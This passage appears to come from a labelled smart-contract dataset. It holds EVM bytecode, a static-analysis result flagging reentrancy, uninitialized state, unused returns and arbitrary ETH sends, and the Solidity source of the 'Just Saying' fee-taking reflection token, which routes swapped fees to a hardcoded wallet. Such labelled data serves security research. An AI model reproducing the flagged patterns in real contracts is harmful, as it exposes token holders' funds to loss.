9050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e0b8821d5eab67db2e03163cfed708ce650650f6c5724472fadea36351d3c43364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,769
0x67975611c44f8fdd79c36f3b80c0ed90827fe16b
/** *Submitted for verification at Etherscan.io on 2021-11-13 */ /* ___ ________ |\ \|\ ____\ \ \ \ \ \___|_ __ \ \ \ \_____ \ |\ \\_\ \|____|\ \ \ \________\____\_\ \ \|________|\_________\ \|_________| Just saying! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract JustSaying is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isnotTaxed; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotalAmt = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotalAmt; uint256 private _feeForAddress1; uint256 private _feeForAddress2; address payable private _walletAddrForFee; string private constant _name = "Just Saying"; string private constant _symbol = "JS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _walletAddrForFee = payable(0xDaB5dc22350f9a6Aff03Cf3D9341aAD0ba42d2a6); _rOwned[_msgSender()] = _rTotalAmt; _isnotTaxed[owner()] = true; _isnotTaxed[address(this)] = true; _isnotTaxed[_walletAddrForFee] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotalAmt, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeForAddress1 = 2; _feeForAddress2 = 4; if (from != owner() && to != owner()) { if (from != address(uniswapV2Router) && to == uniswapV2Pair && ! _isnotTaxed[from]) { _feeForAddress1 = 2; _feeForAddress2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendToFee(uint256 amount) private { _walletAddrForFee.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotalAmt = _rTotalAmt.sub(rFee); _tFeeTotalAmt = _tFeeTotalAmt.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeForAddress1, _feeForAddress2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotalAmt; uint256 tSupply = _tTotal; if (rSupply < _rTotalAmt.div(_tTotal)) return (_rTotalAmt, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ab5760003560e01c8063715018a611610064578063715018a6146101ef5780638da5cb5b1461020657806395d89b4114610231578063a9059cbb1461025c578063c9567bf914610299578063dd62ed3e146102b0576100b2565b806306fdde03146100b7578063095ea7b3146100e257806318160ddd1461011f57806323b872dd1461014a578063313ce5671461018757806370a08231146101b2576100b2565b366100b257005b600080fd5b3480156100c357600080fd5b506100cc6102ed565b6040516100d991906121c6565b60405180910390f35b3480156100ee57600080fd5b5061010960048036038101906101049190611dc2565b61032a565b60405161011691906121ab565b60405180910390f35b34801561012b57600080fd5b50610134610348565b6040516101419190612328565b60405180910390f35b34801561015657600080fd5b50610171600480360381019061016c9190611d73565b610359565b60405161017e91906121ab565b60405180910390f35b34801561019357600080fd5b5061019c610432565b6040516101a9919061239d565b60405180910390f35b3480156101be57600080fd5b506101d960048036038101906101d49190611ce5565b61043b565b6040516101e69190612328565b60405180910390f35b3480156101fb57600080fd5b5061020461048c565b005b34801561021257600080fd5b5061021b6105df565b60405161022891906120dd565b60405180910390f35b34801561023d57600080fd5b50610246610608565b60405161025391906121c6565b60405180910390f35b34801561026857600080fd5b50610283600480360381019061027e9190611dc2565b610645565b60405161029091906121ab565b60405180910390f35b3480156102a557600080fd5b506102ae610663565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190611d37565b610ba5565b6040516102e49190612328565b60405180910390f35b60606040518060400160405280600b81526020017f4a75737420536179696e67000000000000000000000000000000000000000000815250905090565b600061033e610337610c2c565b8484610c34565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610366848484610dff565b61042784610372610c2c565b6104228560405180606001604052806028815260200161291560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103d8610c2c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118e9092919063ffffffff16565b610c34565b600190509392505050565b60006009905090565b6000610485600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f2565b9050919050565b610494610c2c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610521576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051890612288565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4a53000000000000000000000000000000000000000000000000000000000000815250905090565b6000610659610652610c2c565b8484610dff565b6001905092915050565b61066b610c2c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ef90612288565b60405180910390fd5b600c60149054906101000a900460ff1615610748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073f90612308565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107d830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610c34565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561081e57600080fd5b505afa158015610832573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108569190611d0e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b857600080fd5b505afa1580156108cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f09190611d0e565b6040518363ffffffff1660e01b815260040161090d9291906120f8565b602060405180830381600087803b15801561092757600080fd5b505af115801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095f9190611d0e565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109e83061043b565b6000806109f36105df565b426040518863ffffffff1660e01b8152600401610a159695949392919061214a565b6060604051808303818588803b158015610a2e57600080fd5b505af1158015610a42573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a679190611e27565b5050506001600c60166101000a81548160ff021916908315150217905550683635c9adc5dea00000600d819055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b4f929190612121565b602060405180830381600087803b158015610b6957600080fd5b505af1158015610b7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba19190611dfe565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9b906122e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90612228565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610df29190612328565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e66906122c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed6906121e8565b60405180910390fd5b60008111610f22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f19906122a8565b60405180910390fd5b60026008819055506004600981905550610f3a6105df565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fa85750610f786105df565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561117e57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110585750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80156110ae5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156110c457600260088190555060056009819055505b60006110cf3061043b565b9050600c60159054906101000a900460ff1615801561113c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111545750600c60169054906101000a900460ff165b1561117c5761116281611260565b6000479050600081111561117a576111794761155a565b5b505b505b6111898383836115c6565b505050565b60008383111582906111d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cd91906121c6565b60405180910390fd5b50600083856111e591906124ee565b9050809150509392505050565b6000600654821115611239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123090612208565b60405180910390fd5b60006112436115d6565b9050611258818461160190919063ffffffff16565b915050919050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112be577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156112ec5781602001602082028036833780820191505090505b509050308160008151811061132a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113cc57600080fd5b505afa1580156113e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114049190611d0e565b8160018151811061143e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506114a530600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c34565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611509959493929190612343565b600060405180830381600087803b15801561152357600080fd5b505af1158015611537573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115c2573d6000803e3d6000fd5b5050565b6115d183838361164b565b505050565b60008060006115e3611816565b915091506115fa818361160190919063ffffffff16565b9250505090565b600061164383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611878565b905092915050565b60008060008060008061165d876118db565b9550955095509550955095506116bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061175085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179c816119eb565b6117a68483611aa8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118039190612328565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea00000905061184c683635c9adc5dea0000060065461160190919063ffffffff16565b82101561186b57600654683635c9adc5dea00000935093505050611874565b81819350935050505b9091565b600080831182906118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b691906121c6565b60405180910390fd5b50600083856118ce9190612463565b9050809150509392505050565b60008060008060008060008060006118f88a600854600954611ae2565b92509250925060006119086115d6565b9050600080600061191b8e878787611b78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061198583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061118e565b905092915050565b600080828461199c919061240d565b9050838110156119e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d890612248565b60405180910390fd5b8091505092915050565b60006119f56115d6565b90506000611a0c8284611c0190919063ffffffff16565b9050611a6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611abd8260065461194390919063ffffffff16565b600681905550611ad88160075461198d90919063ffffffff16565b6007819055505050565b600080600080611b0e6064611b00888a611c0190919063ffffffff16565b61160190919063ffffffff16565b90506000611b386064611b2a888b611c0190919063ffffffff16565b61160190919063ffffffff16565b90506000611b6182611b53858c61194390919063ffffffff16565b61194390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611b918589611c0190919063ffffffff16565b90506000611ba88689611c0190919063ffffffff16565b90506000611bbf8789611c0190919063ffffffff16565b90506000611be882611bda858761194390919063ffffffff16565b61194390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c145760009050611c76565b60008284611c229190612494565b9050828482611c319190612463565b14611c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6890612268565b60405180910390fd5b809150505b92915050565b600081359050611c8b816128cf565b92915050565b600081519050611ca0816128cf565b92915050565b600081519050611cb5816128e6565b92915050565b600081359050611cca816128fd565b92915050565b600081519050611cdf816128fd565b92915050565b600060208284031215611cf757600080fd5b6000611d0584828501611c7c565b91505092915050565b600060208284031215611d2057600080fd5b6000611d2e84828501611c91565b91505092915050565b60008060408385031215611d4a57600080fd5b6000611d5885828601611c7c565b9250506020611d6985828601611c7c565b9150509250929050565b600080600060608486031215611d8857600080fd5b6000611d9686828701611c7c565b9350506020611da786828701611c7c565b9250506040611db886828701611cbb565b9150509250925092565b60008060408385031215611dd557600080fd5b6000611de385828601611c7c565b9250506020611df485828601611cbb565b9150509250929050565b600060208284031215611e1057600080fd5b6000611e1e84828501611ca6565b91505092915050565b600080600060608486031215611e3c57600080fd5b6000611e4a86828701611cd0565b9350506020611e5b86828701611cd0565b9250506040611e6c86828701611cd0565b9150509250925092565b6000611e828383611e8e565b60208301905092915050565b611e9781612522565b82525050565b611ea681612522565b82525050565b6000611eb7826123c8565b611ec181856123eb565b9350611ecc836123b8565b8060005b83811015611efd578151611ee48882611e76565b9750611eef836123de565b925050600181019050611ed0565b5085935050505092915050565b611f1381612534565b82525